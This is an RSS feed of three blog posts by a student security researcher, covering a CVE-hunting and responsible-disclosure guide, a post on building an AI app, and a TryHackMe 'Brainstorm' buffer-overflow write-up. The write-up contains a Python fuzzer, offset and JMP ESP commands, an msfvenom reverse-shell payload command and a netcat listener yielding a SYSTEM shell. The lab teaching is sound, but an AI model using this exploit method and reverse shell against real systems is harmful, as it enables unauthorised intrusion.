<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: KRRISH JAGBANDHU</title>
    <description>The latest articles on Forem by KRRISH JAGBANDHU (@krrish_jagbandhu_eca8db9d).</description>
    <link>https://forem.com/krrish_jagbandhu_eca8db9d</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3854307%2F6e82656f-ac82-4bb5-9fdf-a45dcd6c0a8f.png</url>
      <title>Forem: KRRISH JAGBANDHU</title>
      <link>https://forem.com/krrish_jagbandhu_eca8db9d</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/krrish_jagbandhu_eca8db9d"/>
    <language>en</language>
    <item>
      <title>How I Found My First CVE as a College Student (And What Most Guides Don't Tell You)</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Sat, 18 Apr 2026 12:05:20 +0000</pubDate>
      <link>https://forem.com/krrish_jagbandhu_eca8db9d/how-i-found-my-first-cve-as-a-college-student-and-what-most-guides-dont-tell-you-4h8h</link>
      <guid>https://forem.com/krrish_jagbandhu_eca8db9d/how-i-found-my-first-cve-as-a-college-student-and-what-most-guides-dont-tell-you-4h8h</guid>
      <description>&lt;p&gt;Everyone talks about CVEs like they're some mythical achievement reserved for seasoned professionals with 10 years of experience and a hoodie covered in conference stickers.&lt;br&gt;
I'm a BCA student. I found five.&lt;br&gt;
This isn't a flex post. It's the guide I wish existed when I started — because most resources out there skip the parts that actually matter.&lt;/p&gt;

&lt;p&gt;Why I Started Bug Hunting&lt;br&gt;
I was deep into TryHackMe rooms and HackTheBox machines, grinding through CTFs at 2 AM, and somewhere in between I started asking myself: is any of this real?&lt;br&gt;
CTFs are fun. But they're controlled environments. Somebody built that box for you to break. The vulnerability is there, guaranteed. Real-world software doesn't come with that guarantee — but it also doesn't come with a scoreboard, a leaderboard, or a congratulations banner when you find something.&lt;br&gt;
What it comes with is a CVE ID with your name on it.&lt;br&gt;
That was enough motivation for me.&lt;/p&gt;

&lt;p&gt;The Target I Picked (And Why It Matters More Than Anything Else)&lt;br&gt;
Here's what no guide tells you clearly: your target selection determines everything.&lt;br&gt;
Most beginners go after massive companies — Google, Facebook, Apple. They read about million-dollar bug bounties and aim there first. That's like learning to drive and immediately entering Formula 1.&lt;br&gt;
My approach was different:&lt;/p&gt;

&lt;p&gt;Open-source software with a public repo — I could read the actual code, not just probe blindly&lt;br&gt;
Actively maintained but not a massive team — bugs slip through, patches take time&lt;br&gt;
Software I actually used — I understood the functionality deeply, which meant I noticed when something shouldn't work the way it did&lt;/p&gt;

&lt;p&gt;I started with smaller tools and libraries in the security and networking space. Stuff I was already using in my VAPT work. When you know how something is supposed to behave, anomalies scream at you.&lt;/p&gt;

&lt;p&gt;The Moment I Found the Vuln&lt;br&gt;
I'm not going to walk through the exact technical details of my first CVE here — that's a separate write-up. But I'll tell you what the moment felt like.&lt;br&gt;
It wasn't dramatic. There was no alarm, no flashing "YOU FOUND IT" screen.&lt;br&gt;
It was: wait... that shouldn't respond like that.&lt;br&gt;
I sent a request. The response was wrong in a very specific way. I sent it again with a modified input. The response got more wrong. I sat back and thought for maybe five minutes before I opened Burp Suite and started documenting methodically.&lt;br&gt;
The thing about real vulnerabilities is they feel like a quiet click — not an explosion. The adrenaline comes later, when you're writing the report and you realize what you're looking at.&lt;br&gt;
What helped me spot it:&lt;/p&gt;

&lt;p&gt;I had read the documentation and the source code&lt;br&gt;
I was testing edge cases, not just happy paths&lt;br&gt;
I kept notes on every weird behavior, even stuff that seemed minor&lt;br&gt;
I was patient — I'd been poking at this target for days, not hours&lt;/p&gt;

&lt;p&gt;The Reporting Process (The Part Nobody Romanticizes)&lt;br&gt;
This is where most write-ups end. "I found it, reported it, got the CVE."&lt;br&gt;
Here's what actually happens:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Write the report like your reputation depends on it — because it does.
Your report needs:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Clear description of the vulnerability&lt;br&gt;
Affected versions&lt;br&gt;
Step-by-step reproduction (assume the person reading has 10 other reports open)&lt;br&gt;
Impact assessment&lt;br&gt;
Suggested fix (optional but respected)&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Find the right contact.
Check for a SECURITY.md in the repo. Look for a security@ email. Check their responsible disclosure policy. If none of these exist, open a private GitHub issue or DM a maintainer directly. Do NOT open a public issue.&lt;/li&gt;
&lt;li&gt;Wait. Then wait more.
My first report sat for 3 weeks without a response. I sent a polite follow-up. Another week passed. Then I got a one-line reply: "Confirmed. Working on a patch."
That's it. No fanfare. Just confirmation that you weren't imagining things.&lt;/li&gt;
&lt;li&gt;Coordinate the disclosure.
Work with the maintainer on a timeline. Give them reasonable time to patch — typically 90 days is the industry standard. Don't rush them. Don't go public early. Responsible disclosure is called responsible for a reason.&lt;/li&gt;
&lt;li&gt;CVE assignment.
Once the patch is out, either the vendor or a CNA (CVE Numbering Authority) assigns the ID. Sometimes you request it yourself through MITRE. Either way, you end up with a number that lives on the internet forever.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What Changed After&lt;br&gt;
Practically speaking? A lot.&lt;/p&gt;

&lt;p&gt;My resume went from "student with certs" to "student with verified security research"&lt;br&gt;
I started getting responses from recruiters who previously ignored me&lt;br&gt;
My confidence in real-world testing went through the roof&lt;br&gt;
I found four more CVEs because the pattern recognition you build is transferable&lt;/p&gt;

&lt;p&gt;But the bigger thing was this: it shifted how I see software. Everything is a potential target now — not in a malicious way, but in a deeply curious way. Every feature is a decision someone made. Every decision has edge cases. Every edge case is worth poking.&lt;/p&gt;

&lt;p&gt;What I'd Tell My Past Self&lt;/p&gt;

&lt;p&gt;Start smaller than you think you should. Seriously. Small open-source tools. Niche libraries. Things with fewer eyes on them.&lt;br&gt;
Read the code. Black-box testing is fine but white-box gives you an unfair advantage.&lt;br&gt;
Document everything. Even the dead ends. You'll thank yourself later.&lt;br&gt;
Be patient with maintainers. They're usually volunteers or small teams. They're not ignoring you — they're busy.&lt;br&gt;
Rejection is fine. Not every report is a CVE. Some are "working as intended." Learn from those too.&lt;br&gt;
The first one is the hardest. After that, you have a framework in your head and the next one comes faster.&lt;/p&gt;

&lt;p&gt;Resources That Actually Helped Me&lt;/p&gt;

&lt;p&gt;HackTheBox &amp;amp; TryHackMe — for building the baseline&lt;br&gt;
PortSwigger Web Security Academy — free, brutal, excellent&lt;br&gt;
CVE Details (cve.mitre.org) — study what's been found before&lt;br&gt;
GitHub Code Search — your best friend for finding vulnerable patterns&lt;br&gt;
Nuclei templates — understand how automated scanning works, then go beyond it&lt;/p&gt;

&lt;p&gt;If you're a student sitting on this page wondering if someone like you can actually do this — yes. You can.&lt;br&gt;
You don't need a degree in computer science. You don't need a senior title. You need curiosity, patience, and the willingness to sit with a weird behavior until it tells you what it's hiding.&lt;br&gt;
The software is out there. Go find something.&lt;/p&gt;

&lt;p&gt;I'm Krish — BCA student, CEH certified, 5x CVE researcher, and active on HackTheBox/TryHackMe. I lead my university's cybersecurity club and do VAPT work.Find me at dev.to/krrish_jagbandhu_eca8db9dShare&lt;/p&gt;

</description>
      <category>security</category>
      <category>careerdevelopment</category>
      <category>beginners</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Tried Building My Own AI… Here’s What Actually Happened</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Thu, 02 Apr 2026 22:14:57 +0000</pubDate>
      <link>https://forem.com/krrish_jagbandhu_eca8db9d/i-tried-building-my-own-ai-heres-what-actually-happened-fn1</link>
      <guid>https://forem.com/krrish_jagbandhu_eca8db9d/i-tried-building-my-own-ai-heres-what-actually-happened-fn1</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzm7j65lvpx9lp8exxa8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzm7j65lvpx9lp8exxa8.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few days ago, I decided to stop just using AI and finally try building one myself.&lt;/p&gt;

&lt;p&gt;No full roadmap.&lt;br&gt;
No perfect plan.&lt;br&gt;
Just curiosity and the willingness to figure things out.&lt;/p&gt;

&lt;p&gt;What followed was a mix of confusion, frustration, small wins, and one big realization:&lt;/p&gt;

&lt;p&gt;Building AI is way harder—and way more rewarding—than it looks.&lt;/p&gt;

&lt;p&gt;💡 Why I Started&lt;/p&gt;

&lt;p&gt;I’ve been using AI tools for a while, like most developers. But at some point, I kept wondering:&lt;/p&gt;

&lt;p&gt;How do these models actually connect?&lt;br&gt;
What’s happening behind the API calls?&lt;br&gt;
Can I build something like this myself?&lt;/p&gt;

&lt;p&gt;Instead of watching another tutorial, I decided to just start building.&lt;/p&gt;

&lt;p&gt;⚙️ The Stack (What I Used)&lt;/p&gt;

&lt;p&gt;I kept things simple (or at least I tried to):&lt;/p&gt;

&lt;p&gt;AI Models via API (LLMs)&lt;br&gt;
A basic frontend interface&lt;br&gt;
Deployment on a cloud platform (like Vercel)&lt;br&gt;
Lots of trial and error 😅&lt;/p&gt;

&lt;p&gt;Nothing fancy—but enough to build something real.&lt;/p&gt;

&lt;p&gt;😵 The Problems I Faced&lt;/p&gt;

&lt;p&gt;Let’s be honest: things broke. A lot.&lt;/p&gt;

&lt;p&gt;Some of the errors I ran into:&lt;/p&gt;

&lt;p&gt;API Error: No endpoints found for openchat/openchat&lt;br&gt;
API Error: No endpoints found for mistralai/mistral-7b-instruct&lt;br&gt;
API Error: No endpoints found for google/gemma-7b-it&lt;/p&gt;

&lt;p&gt;At first, I thought I messed up everything.&lt;/p&gt;

&lt;p&gt;Turns out:&lt;/p&gt;

&lt;p&gt;Some models weren’t available&lt;br&gt;
Some endpoints were incorrect&lt;br&gt;
Some configs were just… wrong&lt;/p&gt;

&lt;p&gt;This is the part no one talks about enough.&lt;/p&gt;

&lt;p&gt;🧠 What I Learned (The Real Stuff)&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Not All Models Are Plug-and-Play&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Just because a model exists doesn’t mean you can use it instantly.&lt;br&gt;
You need:&lt;/p&gt;

&lt;p&gt;Valid endpoints&lt;br&gt;
Proper API providers&lt;br&gt;
Correct configurations&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Debugging Is the Real Skill&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Most of my time wasn’t spent building—it was spent fixing.&lt;/p&gt;

&lt;p&gt;And that’s where the real learning happened.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Deployment Is a Different Game&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Running something locally is easy.&lt;/p&gt;

&lt;p&gt;Deploying it?&lt;br&gt;
That’s where things get real:&lt;/p&gt;

&lt;p&gt;Environment variables&lt;br&gt;
API keys&lt;br&gt;
Build errors&lt;br&gt;
Runtime issues&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You Don’t Need to Know Everything&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I didn’t fully understand everything when I started.&lt;/p&gt;

&lt;p&gt;And that’s okay.&lt;/p&gt;

&lt;p&gt;You figure things out as you go.&lt;/p&gt;

&lt;p&gt;🚀 The Result&lt;/p&gt;

&lt;p&gt;After all the chaos, I finally had:&lt;/p&gt;

&lt;p&gt;A working AI app&lt;br&gt;
Live deployment&lt;br&gt;
Real responses from the model&lt;/p&gt;

&lt;p&gt;It wasn’t perfect—but it worked.&lt;/p&gt;

&lt;p&gt;And honestly, that’s enough for version 1.&lt;/p&gt;

&lt;p&gt;🔥 If You’re Thinking of Building AI…&lt;/p&gt;

&lt;p&gt;Here’s my advice:&lt;/p&gt;

&lt;p&gt;Start before you feel ready&lt;br&gt;
Expect things to break&lt;br&gt;
Don’t trust every tutorial blindly&lt;br&gt;
Learn by doing, not just watching&lt;br&gt;
💬 Final Thoughts&lt;/p&gt;

&lt;p&gt;This wasn’t just about building AI.&lt;/p&gt;

&lt;p&gt;It was about:&lt;/p&gt;

&lt;p&gt;Learning how systems actually work&lt;br&gt;
Dealing with failure&lt;br&gt;
Staying consistent when things don’t make sense&lt;/p&gt;

&lt;p&gt;And most importantly:&lt;/p&gt;

&lt;p&gt;Real growth happens when you stop consuming and start creating.&lt;/p&gt;

&lt;p&gt;If you’re building something similar or stuck somewhere, feel free to reach out—always happy to connect with fellow devs 👨‍💻&lt;/p&gt;

&lt;h1&gt;
  
  
  dev #ai #webdev #buildinpublic #learning #vercel
&lt;/h1&gt;

</description>
      <category>vercel</category>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>TryHackMe — Brainstorm Write-up | Buffer Overflow on Windows</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Tue, 31 Mar 2026 22:58:58 +0000</pubDate>
      <link>https://forem.com/krrish_jagbandhu_eca8db9d/tryhackme-brainstorm-write-up-buffer-overflow-on-windows-idf</link>
      <guid>https://forem.com/krrish_jagbandhu_eca8db9d/tryhackme-brainstorm-write-up-buffer-overflow-on-windows-idf</guid>
      <description>&lt;p&gt;The Beginning — First Look&lt;/p&gt;

&lt;p&gt;It was one of those evenings where I wanted a real challenge. I'd been breezing through Medium rooms and decided it was time to sit with something uncomfortable. Brainstorm had been on my list for a while — a Hard-rated Windows box, notorious for its buffer overflow challenge. I spun up my AttackBox, took a sip of coffee, and started the machine.&lt;br&gt;
First thing I always do — let Nmap do the talking.&lt;br&gt;
bashnmap -sC -sV -oN brainstorm.txt &lt;br&gt;
The scan came back with something interesting:&lt;/p&gt;

&lt;p&gt;Port 21 — FTP (Anonymous login allowed!)&lt;br&gt;
Port 9999 — Some kind of custom chat application&lt;br&gt;
Port 3389 — RDP (Windows, as expected)&lt;/p&gt;

&lt;p&gt;Anonymous FTP? That's always a gift. I logged in immediately.&lt;br&gt;
bashftp &lt;br&gt;
Inside, I found two files — chatserver.exe and essfunc.dll. I downloaded both without hesitation. This was the application running on port 9999. The devs had essentially handed me their app to reverse and exploit locally. Rookie mistake on their part, huge win for me.&lt;/p&gt;

&lt;p&gt;The Middle — Down the Rabbit Hole&lt;br&gt;
I connected to the chat server on port 9999 using Netcat just to see what I was dealing with.&lt;br&gt;
bashnc  9999&lt;br&gt;
A chat prompt appeared asking for a username and then a message. Simple enough on the surface. But something about an unvalidated message input on a Windows service whispered buffer overflow to me.&lt;br&gt;
I set up the chatserver.exe locally on a Windows VM with Immunity Debugger and Mona.py attached. Then the real fun began.&lt;br&gt;
Step 1 — Fuzzing. I wrote a quick Python fuzzer to throw increasingly large strings at the message input:&lt;br&gt;
pythonimport socket, time, sys&lt;/p&gt;

&lt;p&gt;ip = "YOUR_LOCAL_IP"&lt;br&gt;
port = 9999&lt;br&gt;
buffer = "A" * 100&lt;/p&gt;

&lt;p&gt;while True:&lt;br&gt;
    try:&lt;br&gt;
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br&gt;
        s.connect((ip, port))&lt;br&gt;
        s.recv(1024)&lt;br&gt;
        s.send(b"user\r\n")&lt;br&gt;
        s.recv(1024)&lt;br&gt;
        s.send(bytes(buffer + "\r\n", "latin-1"))&lt;br&gt;
        s.close()&lt;br&gt;
        time.sleep(1)&lt;br&gt;
        buffer += "A" * 100&lt;br&gt;
    except:&lt;br&gt;
        print(f"Crashed at {len(buffer)} bytes")&lt;br&gt;
        sys.exit()&lt;/p&gt;

&lt;p&gt;The application crashed at around 2700 bytes. Immunity Debugger showed EIP overwritten with 41414141 — classic AAAA. My pulse picked up. This was real.&lt;/p&gt;

&lt;p&gt;Step 2 — Finding the offset. I used Metasploit's pattern tools to pinpoint exactly where EIP gets overwritten:&lt;br&gt;
bashmsf-pattern_create -l 3000&lt;br&gt;
msf-pattern_offset -l 3000 -q &lt;br&gt;
Offset: 2012 bytes. Perfect.&lt;/p&gt;

&lt;p&gt;Step 3 — Bad characters. Sent all characters from \x00 to \xff to find which ones corrupt the payload. After careful analysis in Immunity, I found only \x00 was a bad character. Clean exploit incoming.&lt;/p&gt;

&lt;p&gt;Step 4 — Finding a JMP ESP. Used Mona to find a reliable jump point in essfunc.dll:&lt;br&gt;
bash!mona jmp -r esp -cpb "\x00"&lt;/p&gt;

&lt;p&gt;Got a clean address with no ASLR, no DEP. Beautiful.&lt;br&gt;
Step 5 — Shellcode. Generated a reverse shell payload:&lt;br&gt;
bashmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b "\x00" -f py&lt;/p&gt;

&lt;p&gt;The End — Shell Dropped&lt;br&gt;
I assembled the final exploit — padding, EIP overwrite, NOP sled, shellcode — and fired it at the real target machine.&lt;br&gt;
Started my listener:&lt;br&gt;
bashnc -lvnp 4444&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
Ran the exploit. Three seconds of silence. Then:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP]&lt;br&gt;
Microsoft Windows [Version 6.1.7601]&lt;br&gt;
C:\Windows\system32&amp;gt;&lt;br&gt;
SYSTEM shell. First try.&lt;br&gt;
No privilege escalation needed — the chat server was running as SYSTEM already. Sometimes the box just gives it to you once you've done the hard work.&lt;/p&gt;

&lt;p&gt;What I Learned&lt;/p&gt;

&lt;p&gt;Buffer overflows aren't magic — they're methodical. Fuzz → offset → bad chars → JMP ESP → shellcode. Follow the steps.&lt;br&gt;
Always grab files from anonymous FTP. Devs leaving executables exposed is more common than you'd think in the real world.&lt;br&gt;
Immunity Debugger + Mona.py is a combo every pentester needs in their toolkit.&lt;br&gt;
Patience is the skill. This room took me 3 hours. Every minute was worth it.&lt;/p&gt;

&lt;p&gt;Tools Used&lt;br&gt;
ToolPurposeNmapReconnaissanceNetcatService interactionPythonFuzzer &amp;amp; exploit scriptImmunity DebuggerCrash analysisMona.pyOffset &amp;amp; JMP ESP findingMsfvenomShellcode generation&lt;/p&gt;

&lt;p&gt;If you're just starting out with buffer overflows, I highly recommend Brainstorm as your first Hard room — it teaches you the full BOF methodology in one clean box.&lt;br&gt;
Happy hacking. Stay ethical. 🔐&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>security</category>
      <category>ctf</category>
      <category>bufferoverflow</category>
    </item>
  </channel>
</rss>
